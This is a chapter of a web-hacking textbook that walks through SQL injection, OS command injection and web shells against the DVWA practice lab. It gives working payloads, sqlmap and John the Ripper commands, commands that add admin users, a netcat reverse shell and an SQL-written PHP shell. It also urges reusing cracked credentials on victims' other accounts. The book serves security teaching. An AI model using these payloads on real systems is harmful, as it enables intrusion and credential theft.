The Basics of Web Hacking: Tools and Techniques to Attack the Web (2013)
Chapter 4. Web Application Exploitation with Injection
Chapter Rundown:
■ SQL injection: the old dog still has plenty of bite
■ Popular SQL injection attacks: the how and why of SQLi
■ Controlling the web server’s operating system with O/S command injection
■ Web shells: hacking from the comfort of your browser
Introduction
A hacker can exploit code injection vulnerabilities by submitting well-crafted malicious input to cause the web application to perform unauthorized actions such as exposing sensitive authentication data (usernames and passwords) or executing system commands (adding rogue administrator accounts). Code injection attacks are the most damaging exploits that web applications face today by the fact that they impact a large number of users (customers), they are still very common, and the details of the attacks are often released and cause a degree of public humiliation to the victim. Code injection attacks are usually the result of insufficient safeguards in place that prevent these attacks.
Web applications are custom made by human programmers that, no matter how careful, are susceptible to committing errors that introduce these vulnerabilities. Some of the most common injection types in web applications include:
■ Structured query language (SQL) queries
■ Lightweight directory access protocol (LDAP) queries
■ XML path language (XPATH) queries
■ Operating system commands
In this chapter, you will continue to explore the tools in Burp Suite and Zed Attack Proxy (ZAP), sqlmap, and John the Ripper to perform attacks that exploit code injection vulnerabilities. You will also be introduced to detailed exploits on SQL injection and operating system commands.
No matter what code injection vulnerability you find and what exploit you use against that vulnerability, it’s all about sending malicious input to the web application and having it processed accordingly! Another factor to realize is that these code injection attacks are performed while interacting with the web application in the same manner as legitimate users. This means that your traffic and web requests will look virtually identical to other nonmalicious requests.
SQL Injection Vulnerabilities
SQL injection is one of the oldest web vulnerabilities (15 + years of mayhem and counting) yet it continues to be the top risk to web applications. Despite it being the old man on the block compared to other web vulnerabilities, SQL injection is still surprisingly wide spread and just as devastating as ever. Every time SQL injection comes up, I can’t help but be reminded of a quote from Jim Carey’s Lloyd Christmas character in Dumb & Dumber that sums up my thoughts on this vulnerability: “Senior citizens, although slow and dangerous behind the wheel, can still serve a purpose.” And it’s 100% accurate! How great is that?! SQL injection is so old, so damaging, and yet so easy to fix that it’s hard to believe that it’s still part of the #1 web application risk today. A recent Black Hat training course by security researcher Sumit Siddharth revealed SQL injection is still present in over 30% of today’s web applications. Yikes!
SQL Interpreter
One of the main aspects of this vulnerability that you must understand is that it leverages an SQL interpreter. An interpreter takes input and acts on it immediately without having to go through traditional programming processes such as linking, compiling, debugging, and running. For example, an SQL interpreter plays a key part when you search a new pair of shoes at an online store. This is the code waiting as part of the web application for your search term that you type into a search box:
String query = “SELECT * FROM shoes WHERE shoeName=’” + request.getParam(“term”) + “’”;
When you search for a new pair of Zoomers shoes, the following steps are completed.
1. User enters Zoomers into the search box of the online store and clicks the Search button.
2. The application stores the user’s input into a variable named term (as in “search term” on the web application).
3. The application builds an SQL statement that is made up of some prewritten code and the term variable that is used in the HTTP request.
4. The application sends this well-formed SQL query to the database where it is executed by the SQL interpreter.
5. The results are sent back to the application to display to the user’s browser.
The SQL query’s simplified syntax that is executed when searching for Zoomers shoes:
String query = “SELECT * FROM shoes WHERE shoeName=’Zoomers’”;
Pretty basic SQL here. We are simply selecting all (*) the columns (ID number, shoeName, shoePrice) from the shoes table for any record that has Zoomers in the shoeName column. The results would return a dataset similar to what is introduced in Table 4.1.
■ The entire query is treated as one string variable (named query) that is passed to the interpreter; this is why a double quote is present before the SELECT and at the very end of the query before the terminating semicolon.
■ The user-supplied search term is gathered by the request.getParam function and stored inside the single quotes as a string variable. This makes sense, as shoeName is surely a text-based value. The first single quote is right after shoeName = and the second single quote is right before the last double quote.
Table 4.1
Sample SQL Results for Shoe Search
ID Number |
shoeName |
shoePrice |
1001 |
Grands |
89.99 |
1002 |
Squatchs |
74.99 |
1003 |
Possums |
69.99 |
1004 |
Zoomers |
133.37 |
This is the actual SQL query that is executed by the interpreter.
SELECT * FROM shoes WHERE shoeName=’Zoomers’
SQL For Hackers
As an attacker, it is critical to gain an understanding on how this query is constructed and what exact parts of the query you are in control of. The query is broken out into three distinct parts.
1. SELECT * FROM shoes WHERE shoeName=’ This chunk of code is prewritten by a human programmer and waiting in the application for the user’s input.
2. The term variable (Zoomers) is appended onto the first chunk of code. The user is in complete control of this variable.
3. ‘ This single quote is then appended by the program directly after the user’s input to complete the SQL statement so that it is valid syntax to be executed by the SQL interpreter.
A hacker can craft malicious input instead of a shoe name in the search box to exploit this SQL injection vulnerability while still balancing the quotes so the statement doesn’t throw an error. The classic example of this exploit is to enter the following input into the search box.
Zoomers’ OR 1=1 #
This would build the following SQL statement sent to the interpreter for execution.
SELECT * FROM shoes WHERE shoeName=’Zoomers’ OR 1=1 #’
The # (pound sign) after the 1=1 clause is an inline comment and the interpreter will ignore everything that follows it. Inline comments may also use /*comment here*/ or -- (double dash) instead of a pound sign depending on the database that you’re working with. For DVWA using MySQL, the pound sign is the correct inline comment indicator. The resulting SQL statement of this code injection is:
SELECT * FROM shoes WHERE shoeName=’Zoomers’ OR 1=1
Take a look at the quotes; they are balanced beautifully! The injected single quote after Zoomers balances the first single quote that was prebuilt by the application. The single quote that is appended to the end of the user’s input by the application has been ignored because of the inline comment. Not only will the Zoomers shoes be retrieved, but also every other shoe because 1=1 is always true. You can also inject a string input and use the hanging quote against itself by searching for this:
Zoomers’ OR ‘a’=’a
We know exactly where the single quotes will be added, so the resulting SQL statement for this injection will also always be true:
SELECT * FROM shoes WHERE shoeName=’Zoomers’ OR ‘a’=’a’
SQL Injection Attacks
Now that we have the basics of SQL injection down, let’s use our DVWA environment to try it out on a vulnerable page. We have a couple of goals for this section:
1. Crash the application to prove that our input dictates the application’s behavior.
2. Retrieve usernames from the database for a targeted attack to bypass authentication.
3. Extract out useful information from the database (we will be gathering password hashes).
4. Crack the password hashes so we know the username and password of each of the application users.
The DVWA exercise that we’ll be working through for this vulnerability is SQL Injection, which can be accessed by clicking on the link in the menu on the left side of DVWA once you’ve logged in with the admin | password credentials as shown in Figure 4.1.
FIGURE 4.1 Accessing the SQL injection lesson in DVWA.
Finding The Vulnerability
The first task is to find the SQL injection vulnerability in this page. 10-15 years ago, when SQL injection was first being exploited, it was commonplace to simply put a single quote in a search box and watch the application blow up. This one single quote would throw the quotes out of balance and the application would error out. We can attempt to identify the DVWA vulnerability by using this exact method of inserting a single quote in the User ID textbox. Instead of a single quote, we are going to use a string with an extra single quote as our User ID entry as introduced here:
Rel1k’
This input throws the following SQL error:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''Rel1k''' at line 1
In this application, all user input is enclosed in two sets of single quotes (not double quotes). We don’t know the exact table or column names yet, but it’s safe to assume that our input created a query very similar to this:
SELECT * FROM users WHERE User_ID = “Rel1k”’
This query, and subsequent crash of the application, proves we are in total control of the SQL statement. It is critical that you become a connoisseur of web application error messages because they are often times the keys to the kingdom! Resist the temptation to simply dismiss error messages as a failed exploitation attempt and instead realize they provide a vast amount of information on how the application is processing your input. Think critically about parameters that you provide that may be included in queries that are sent to the database. These are the type of parameters that you should test for SQL injection. Items such as numeric ID parameters such as UID=81, text search term parameters such as the shoe search covered earlier, and parameters that contain string ID parameters such as sort=ASC or sort=DESC.
Bypassing Authentication
We can now construct a valid SQL statement that will execute gracefully and retrieve information that we have no right to retrieve. We know we are dealing with a string column because of the quotes being applied to our input, so we can use either the 1=1 or ‘a’=’aclause that were introduced earlier in the chapter to exploit this SQL injection vulnerability. Here is the exact syntax to use the a=a clause where the appended quotes are used against the application. One of them will be at the very beginning and one will be at the very end, which results in a balanced query. Type this in the User ID: textbox.
Rel1k' or 'a'='a
This query successfully executes and produces some useful results retrieved from the database as shown in Figure 4.2.
FIGURE 4.2 Initial results from SQL injection attack.
Although most of the results are just first name and last name (surname) for each user, the first result shows admin for both the first name and the surname. We can be somewhat assured this is the username of the administrator of the web application, but we need to make sure before attempting to bypass authentication.
It is also suggested that you become familiar with performing SQL injection attacks via a web proxy so you can see the various ways that an application processes user input. You can use Burp Proxy to perform this same attack by enabling intercept and reviewing the params tab under the intercept tab as part of the proxy tool. Burp Repeater, another tool in Burp Suite, is also a very handy utility to leverage during injection attacks because it lets you manually refine a specific request and resend to the application. You can use this functionality to make very specific changes to your attack string (such as an encoded value of a single character) and resend it without having to completely rebuild that request from scratch. It’s extremely helpful as it not only saves time, but also ensures you are only changing the portion of the request that you intended.
Our last input of Rel1k' or 'a'='a has a much different representation once it is caught by Burp Intercept as shown in Figure 4.3.
FIGURE 4.3 Initial SQL injection attack captured in Burp Proxy.
Notice the values of the id parameter when it is captured in the intercept tool. The string we entered is now represented by a mix of identifiable string characters, some URL-encoded values, and some additional encoding performed by the browser. Obviously, theRel1k and the two single a values that we entered are still string characters. The %27 is the URL-encoded version of the single quote and the %3D is the equal sign. The plus signs are one way that the browser encodes a literal space; you will often see a space URL encoded as %20. All of these measures are in place so that the user’s input can be used in the URL of the application to be passed to the server for processing. A literal space is not allowed anywhere in the URL (including any parameter values in the query string) as it would break the acceptable request format supported by the HTTP protocol. Once you forward the request to the application and the results are rendered, you will see these encoded parameter values in the URL of DVWA.
http://127.0.0.1/vulnerabilities/sqli/?id=Rel1k%27+or+%27a%27%3D%27a& Submit=Submit#
You can use either the actual HTML form on the SQL injection page in DVWA or the params tab in Burp Intercept to conduct the rest of the steps. If you choose to use the proxy, remember that you’ll have to encode your input accordingly. The Encoder tool in Burp Suite provides encoding and decoding functionality for several encoding schemes; this is a tool that you will use a great deal in your day-to-day work. To begin with, it is recommended that you use the HTML form so you can learn how the characters you enter in the form are encoded by the application. After a couple of injections, you will be able to solely use the params tab.
Extracting Additional Information
Now that we are in control of the query via this SQL injection vulnerability, we need to extract useful information. Our ultimate goal is to bypass traditional username and password authentication and log in as the administrator. There are several injections that we need to conduct in a stepwise process to get the username and password of the administrator.
1. Discover the database name
2. Discover the table names in the database we choose to target
3. Discover the column names in the table we choose to target
4. Retrieve data from the columns we choose to target
There are various existing database functions that we can call via this vulnerability to retrieve sensitive data, but here are a couple that cut straight to the chase.
They all make use of the SQL union statement, which allows an additional query to be executed. Think of it as piggybacking one query onto another. This is necessary because the query that is vulnerable to the SQL injection is only capable of extracting the very mundane information of first name and last name. We need a more powerful query to execute in order to further exploit the web application and retrieve sensitive data. In order for the union to work, the total number and data types of the columns in the two queries must match. We already know the vulnerable query returns two string columns (first name and last name), so our piggybacked query must also return only two string columns. We will be using a null data type on the first column because null data types can be cast as any other data type. We will then use the second column (last name) as the placeholder for our piggybacked query. We can work even further around this two-column limitation in later SQL injection attacks by using concatenation (joining) of several columns into the last name column by using the concat function as part of our attack. This will allow us to retrieve even more sensitive information from the database!
To retrieve the name of the database:
Rel1k' or 1=1 union select null, database() #
The results of all of these union queries will include all of the first name and last name results and the union results will be the last row of results as pointed out below where we have retrieved dvwa as the name of the database as shown in Figure 4.4.
FIGURE 4.4 Results from injecting the database() function.
To retrieve all of the table names:
Rel1k' and 1=1 union select null, table_name from information_schema.tables #
The information schema is the collection of data about all the databases (metadata) that are housed by the database management system as shown in Figure 4.5. Being we are attempting to bypass authentication, the users table seems like a valuable nugget!
FIGURE 4.5 Results from injection accessing the information schema.
Table 4.2 introduces the common metadata tables for many popular databases that are a great place to extract meaningful data out of.
Table 4.2
Metadata Tables for Popular Databases
Database |
Metadata Table |
MySQL |
information_schema |
MS-SQL |
sysobjects or INFORMATION_SCHEMA |
Oracle |
all_user_objects |
PostgreSQL |
INFORMATION_SCHEMA |
To retrieve the column names used in the users table:
Rel1k' and 1=1 union select null, concat(table_name,0x0a,column_name) from information_schema.columns where table_name = 'users' #
Because we are using the second column as the destination of our injection, all the worthy results will be displayed in that column. This means that the first column in the query results (first name) will always be blank because we are injecting a null into that column. The second column in the query results (surname) column will have the concatenated results (by using the concat SQL function) of users table name, a newline (the 0x0a in our injection), and the actual column name from the users table as shown in Figure 4.6.
FIGURE 4.6 Results from injection accessing the information schema for the “users” table.
The six columns in the users table store user_id, first_name, last_name, user, password, and avatar. Obviously, we are most interested in the user and password columns.
Harvesting Password Hashes
To retrieve the contents of the user and password columns:
Rel1k' and 1=1 union select null, concat(user,0x0a,password) from users #
JACKPOT! These are the values that we’ve been working to get! We now have the username and password of every user in the database as shown in Figure 4.7. If you’re unfamiliar with the format of the passwords, that is MD5 hashing—very easy to crack! An MD5 hash is easy to identify because it is a 32-character hexadecimal number, so it only used 0-9 and A-F.
Alert
Hash-ID is a great utility that will help identify over 50 hash types if you’re not sure of the format. It’s a Python tool that can be downloaded from http://code.google.com/p/hash-identifier/ and runs in a BackTrack terminal with the Python ./Hash_ID_v1.1.py command. Make sure you note what version you are using so you execute the command correctly!
FIGURE 4.7 Results from injection retrieving usernames and passwords from the “users” table.
From here, we need to get the usernames and passwords into a format that is usable by an offline password cracker. An offline password cracker is a tool that attempts to discover plaintext passwords from encrypted (MD5 in this case) password hash values without interacting with the application. In contrast, an online password cracker is a tool that sends several login attempts to the application in search of a valid combination to authenticate with.
We will be using John the Ripper (JtR) or simply John as it’s often referred to. Using John is a very straightforward process. We just need to copy and paste the usernames and passwords into a text file in the appropriate format, feed it into the password cracker, and then wait for a match to be made that reveals the plaintext password for each of the usernames. Once a valid combination is discovered, we can use those credentials to authenticate to the web application. The format for John is simply a text file with the username and password hash separated by a colon with a one set on each line.
In order to create this file, open gedit from the Accessories menu under Applications in BackTrack. Once you have a new file, you need to copy and paste each of the five username and password combinations in the correct format as shown in Figure 4.8.
FIGURE 4.8 John the Ripper input file created in gedit.
Save this file as dvwa_pw.txt in the /pentest/passwords/john directory so that it is in the same directory as the password cracker. This isn’t mandatory, but it will make feeding the input file to the password cracker much cleaner in the next step. Once you’ve successfully saved this input file, you can close gedit and start a new terminal so we can get down to the business of cracking these passwords.
Offline Password Cracking
In a new terminal, browse to the John directory by executing the cd /pentest/passwords/john command. To execute the password cracker on the input file we’ve created, execute the following command.
./john --format=raw-MD5 dvwa_pw.txt --show
The --format flag specifies what type of password hashes are in the input file and the --show flag will display the usernames and passwords that have been reliably cracked. The output from this command is displayed below in the same username:password format that we used in the input file. As expected, all five passwords were successfully cracked.
admin:password
gordonb:abc123
1337:charley
pablo:letmein
smithy:password
With these credentials, you can now log into DVWA as any of these users. Go ahead and try it! The currently logged in user to DVWA is displayed in the lower left corner of the screen when you successfully login. Another potential use of these newly discovered credentials is that you can now use these usernames and passwords in other places. For example, it is common for a user to have the same username and password for a web application that they use for webmail, online banking, and social networking. It’s always a good idea to try these credentials to attempt to authenticate to any service that you find running.
sqlmap
A really useful SQL injection command line tool is sqlmap, which was created by Bernardo Damele and Miroslav Stampar and can be downloaded from http://sqlmap.org. It is also included in the default install of BackTrack under the /pentest/database/sqlmapdirectory. sqlmap automates the process of detecting and exploiting SQL injection flaws and has an onboard detection engine and a tons of options that allow a wide range of attacks to be executed against the web application.
You can actually complete all of the SQL injection attacks that we completed in the section above by using sqlmap and its available flags; some of the most useful flags include:
■ -u to specify the target URL of the vulnerable page.
■ --cookie to specify a valid session cookie to be passed to the application during the attack.
■ -b to retrieve the database’s banner.
■ --current-db to retrieve the Database Management System’s (DBMS) current database.
■ --current-user to retrieve DBMS current user.
■ --string to provide a string value that is always present to help identify false positives.
■ --users to retrieve the database management system users.
■ --password to retrieve the database management password hashes for system users.
■ -U to specify which database management user to include in the attack.
■ --privileges to retrieve the selected user’s privileges.
■ --dbs to retrieve the names of all databases on the database server.
■ -D to specify which database to target.
■ --tables to retrieve all tables in the targeted database.
■ -T to specify which table to target.
■ --columns to retrieve all columns in the targeted table.
■ -C to specify which columns to be retrieved.
■ --dump to retrieve the contents of the targeted columns.
The two parameter values that we need in addition to using these flags are the exact URL of the vulnerable page and a valid session identifier (cookie) value. We can easily retrieve those values from the raw tab in Burp Intercept. While the URL will be the same for each user, the session identifier that you use will be different, so please note your exact values. Ensure your proxy is configured to capture requests and browse back to the SQL Injection page on DVWA. After you enter any value (2 in our example) for the User ID, the required values that we need to run sqlmap will be displayed in the raw tab as shown in Figure 4.9.
FIGURE 4.9 Raw request of SQL injectable page in DVWA.
There are two parameters in the Cookie header (PHPSESSID and security), and we will need to use both values in sqlmap. We also need to harvest the URL from the Referrer header. To ensure you don’t lose track of these values, open a new gedit file to copy and paste these values as we will be using the cookie values with the --cookie flag and the URL value with the -u flag in sqlmap. To open sqlmap, navigate to the appropriate directory by executing the cd /pentest/database/sqlmap command.
You can run sqlmap against our vulnerable page by executing the following command to retrieve the name of the database. Select y when you are prompted for additional testing.
./sqlmap.py -u "http://127.0.0.1/vulnerabilities/sqli/?id=1&Submit=Submit"
--cookie="PHPSESSID=10tlrk8vql4s8kkqacneo55fq7; security=low" -b -- current-db
The results, as expected, mirror what we found when we executed the SQL injections earlier as shown in Figure 4.10. When prompted to find more additional parameters, make sure to select no.
FIGURE 4.10 sqlmap results for database banner and database name.
To retrieve all tables in the dvwa database, as shown in Figure 4.11, run the following command.
FIGURE 4.11 sqlmap results for tables in the “dvwa” database.
./sqlmap.py -u "http://127.0.0.1/vulnerabilities/sqli/?id=2&Submit=Submit"
--cookie="PHPSESSID=10tlrk8vql4s8kkqacneo55fq7; security=low" -D dvwa -tables
To retrieve the columns from the users table in the dvwa database, as shown in Figure 4.12, run the following command.
FIGURE 4.12 sqlmap results for columns in the “users” table in the “dvwa” database.
./sqlmap.py -u "http://127.0.0.1/vulnerabilities/sqli/?id=2&Submit=Submit"
--cookie="PHPSESSID=10tlrk8vql4s8kkqacneo55fq7; security=low" -D dvwa -T users --columns
To retrieve all of the database users and cracked passwords, as shown in Figure 4.13, run the following command.
FIGURE 4.13 sqlmap results for password cracking for all usernames in the “dvwa” database.
./sqlmap.py -u "http://127.0.0.1/vulnerabilities/sqli/?id=2&Submit=Submit"
--cookie="PHPSESSID=10tlrk8vql4s8kkqacneo55fq7; security=low" -D dvwa -T users -C password,users,user_id --dump
Alert
When prompted with do you want sqlmap to consider provided column(s):, select 2 so you get exact column names and accept the default dictionary to use for the attack.
The same exploit that took two different tools and six commands took just four commands in sqlmap. You can actually combine all the sqlmap flags into one command and do all this work at once!
./sqlmap.py -u "http://127.0.0.1/vulnerabilities/sqli/?id=1&Submit=Submit"
--cookie="PHPSESSID=10tlrk8vql4s8kkqacneo55fq7; security=low" -b -- current-db -D dvwa --tables -T users --columns -C user,password -- dump
The three approaches just introduced to exploit SQL injection vulnerabilities will serve you very well in the future as you discover, and want to exploit, SQL injection vulnerabilities.
1. Using verbose error messages to derive malicious input to be entered directly into the web application’s HTML form.
2. Using an intercepting proxy to edit the value of parameters being passed to the SQL interpreter.
3. Using an automated exploitation tool, such as sqlmap, to conduct SQL exploits.
Operating System Command Injection Vulnerabilities
Another attack vector that is part of injection is operating system command injection. This occurs when a hacker is able to dictate what system level commands (commonly bash in Linux or cmd.exe in Windows) are ran on the web server. In most cases, a hacker will append on a malicious system command to an existing command that is provided by the web application. For example, if a web application allows the hacker to look up his own IP address or domain name by passing a parameter under his control, he will then append on a command to add another user to the system. If the web application is vulnerable, both commands will successfully execute.
O/S Command Injection For Hackers
Once an operating system command injection vulnerability has been found by a hacker, there are a couple of common commands that are most likely to be executed. It really boils down to the intentions of the hacker, but rest assured that persistence access to the system is the most common attack, such as:
■ Add a user
■ Add a user to a group (administrator group most likely)
■ Delete a user (the existing system administrator or other similar accounts)
Another common attack with O/S command injection is to extract out as much data from the system as possible, such as user information, sensitive user files, and system configurations. The other important aspect of this command injection attack to realize is that you execute commands at the specified access level of the web application. So, if the web application is running as root or administrator, your injected commands will run at top-level access—a huge bag of win! However, this is less likely than it used to be. It is much more common to find web applications running at a lower privilege level, such as SYSTEM in Windows, so you should use this attack to download source code and retrieve as many sensitive files off of the web server as possible.
In a Linux environment, you can use the useradd halverto command to add a new user named halverto and then issue the passwd halverto command to set an initial password for this user. Once you have a user on the web server, you need to find out what groups are available by issuing the getent group command. Assuming there is an admin group, you can add your halverto user to the group by issuing the usermod -G admin halverto command. Once you have your account added as an administrator, you can see all other users in the admin group by issuing the getent group admin command. You can then delete any other accounts you want (pengebretson in this example) by issuing the userdel pengebretson command. You could issue this series of commands to add a new user, remove all other accounts, and make changes to the root account of the web server.
In a Windows environment, you can issue the net user /add halverto trojansEH100 command to add a user named halverto with an initial password of trojansEH100. You can then add this user to the administrators group by issuing the net localgroup administrators halverto /add command and delete other users (pengebretson again in this example) by issuing the net user pengebretson /delete command. This handful of commands would put you in full control of the Windows machine.
In instances that you are not running as a top-level administrator (root in Linux or SYSTEM in Windows), you can still issue useful commands such as id to retrieve your privilege level or viewing the passwd file to find out about other users with the cat /etc/passwd command.
Operating System Command Injection Attacks
There is an exercise named Command Execution on the menu on the left side in DVWA that allows you to practice this operating system command injection attack. The onboard functionality provided by the web application is to ping an IP address. The input from the user is passed to the system to execute the ping command without any validation or shell escaping. The results of this ping are passed back to the web application to be displayed in the user’s browser as shown in Figure 4.14.
FIGURE 4.14 Executing a ping command against localhost.
The three responses to this ping command from localhost are displayed showing successful execution of the command. As a hacker, you can append on additional Linux commands by using a semicolon. Instead of simply providing the 127.0.0.1 IP address to ping, you can also append on additional system commands, such as 127.0.0.1; ls to list the current directory contents, as shown in Figure 4.15.
FIGURE 4.15 Appending on an ls command to a ping command.
The shell command that is executed is simply ping 127.0.0.1 followed by an ls command. You can see the results of the ls command are appended on directly after the results from the ping command. The web application accepted the input from the user that included two separate system commands, executed them both, and displayed the results from both commands back to the user. As a hacker, you are now in control of the web server hosting this web application because you can execute system commands on it! You can retrieve sensitive system files, such as the password file for all users by issuing the 127.0.0.1; cat /etc/passwd command, as shown in Figure 4.16.
FIGURE 4.16 Appending on a cat command to a ping command to review the system password file.
You could now use this vulnerable page to execute the commands introduced earlier in this chapter to add, edit, and delete system users or any other system level command that you’d like if you’re the top-level user. Otherwise, execute meaningful user level commands such as viewing the passwd file or retrieving application code to look for additional vulnerabilities that are easier to detect with white-box source code review. Another place that this vulnerability is sometimes present is when an application builds a command to execute in order to send e-mail instead of using SMTP libraries. These vulnerabilities arise when unsanitized e-mail addresses are passed to a command line sendmail application to build the command. An example could be mail -s “Account Confirmation” josh@corndogcart.com. You could append on other Linux commands to the supplied e-mail address to leverage user input being directly processed by the operating system.
Another area that you will want to investigate when you find an operating system command injection vulnerability is to make use of an interactive shell. There are many ways you can do this, but the most common is to leverage netcat on both your machine as a listener and on the victim machine as the shell that will connect back to your machine. You can set up the listener on your machine by executing the nc -l -v YourIPAddress -p 4444 command and on the victim by injecting the nc -c /bin/sh YourIPAddress 4444command. Check out http://bernardodamele.blogspot.com/2011/09/reverse-shells-one-liners.html for more examples of injectable commands that will result in shells connecting back to you!
Web Shells
A close variant of operating system command injection is the concept of a web shell, which is a maliciously crafted page that when uploaded to a web server provides a command shell back to the attacker via a webpage. Web shells come in all file formats that are supported by web servers, such as PHP, ASP, ASPX, and all other prominent web programming languages. Web shells require that the hacker must be able to upload the file to the web server and then be able to browse to that location in a browser. If the web server configuration is vulnerable to this, the web shell provides the hacker with the exact functionality of an operating system command injection vulnerability. Also, realize that the web server also must be able to render the uploaded file in order for this attack to work. For example, Apache web servers can’t render .ASPX webpages, so make sure you’re uploading the correct file format for this attack.
For DVWA, you can download a PHP web shell from http://sourceforge.net/projects/ajaxshell/ and save it into your root directory as Shell_v0_7_prefinal_.zip. Simply unzip the folder by using the right-click menu and the .php file is ready for use. Obviously, you would want to change the filename of this PHP file to be less obvious of its intent in a real hack. To facilitate this attack, we will be using the Upload exercise in DVWA that allows you to upload any file to the DVWA web server as shown in Figure 4.17.
FIGURE 4.17 Uploading a web shell to the DVWA web server.
Successfully uploading the web shell to the web server is the main requirement of this attack, but you still must be able to browse to this newly uploaded page and it’s not always obvious where the application uploads files to on the web server. Upon successful completion of the file upload, the web application provided the following confirmation of the file location: ../../hackable/uploads/Shell_v0_7.php successfully uploaded! However, the web application may not always provide details of the exact location on the web server where the uploaded files now reside. You can use the find / -name Shell_v0_7.php command in a terminal to find all the directories that the web shell resides as shown in Figure 4.18.
FIGURE 4.18 Finding the web shell file on the web server.
This search reveals that the web shell file is located three different places on the machine: in the root directory where we originally downloaded it to, in the /var/www/hackable/uploads directory on the web server, and in a temp directory. Realize that you would need to run the find command via an operating system command injection attack to have it revealed where on the web server the uploaded file resides. We can be assured DVWA is running in the www directory so we now knowhttp://127.0.0.1/hackable/uploads/Shell_v0_7.php is the exact URL that we need to browse to for access to the uploaded web shell.
Other functionality of the web application can also provide hints as to where your uploaded files are stored. For example, if you’re allowed to upload an avatar, you could then check to see where that image is being served from. You could then upload a .php file and try to access that file as it should be in the same directory as your avatar image.
Once you browse to that location, you can login to the web shell with password when prompted to provide a password. This web shell includes several commonly used commands that you can run with the buttons on the upper left side of the screen. Figure 4.19shows the output of the shellhelp command when the Readme button is clicked.
FIGURE 4.19 Reviewing the “Readme” of the uploaded web shell.
All commands that you request in this webpage are sent to the web server for system execution and the results are rendered directly in this webpage! Another example of the quick commands is to click the open ports button to have the netstat -an | grep -i listencommand executed on the web server, as shown in Figure 4.20, to list all active listening connections on the machine.
FIGURE 4.20 netstat results for our DVWA web server.
You can provide your own commands when you click the Execute command link at the top of the screen and a running history will be kept in the Command history window. This command history is read from the bottom up where the most recent command will be at the top of the list. Figure 4.21 shows separate commands to make a goats directory and a bah.txt file within that directory all via this web shell!
FIGURE 4.21 Executing custom commands on the DVWA web server via the web shell.
Operating system commands injections and web shells are very powerful for hackers because they allow system commands to be executed via a web page. The malicious requests of these pages will not look any different than benign web requests, so they are difficult to detect. There is also an on-going game of cat and mouse between security professionals and hackers to see how uploading functionality in web applications can be circumvented to allow web shells to be uploaded and accessed on the web server.
You can even get a primitive command shell on systems that you can’t exploit with this uploaded web shell by piggybacking onto an SQL injection vulnerability with input such as:
Rel1k' UNION SELECT '<?php system($_REQUEST["cmd"]); ?>',null INTO OUTFILE '/var/www/hackable/uploads/cmd.php'#
You can then interact with this web shell (executing the ls command in this example) by requesting the following URL: http://127.0.0.1/hackable/uploads/cmd.php?cmd=ls. You can now execute any operating system command by changing the value of the cmdURL parameter!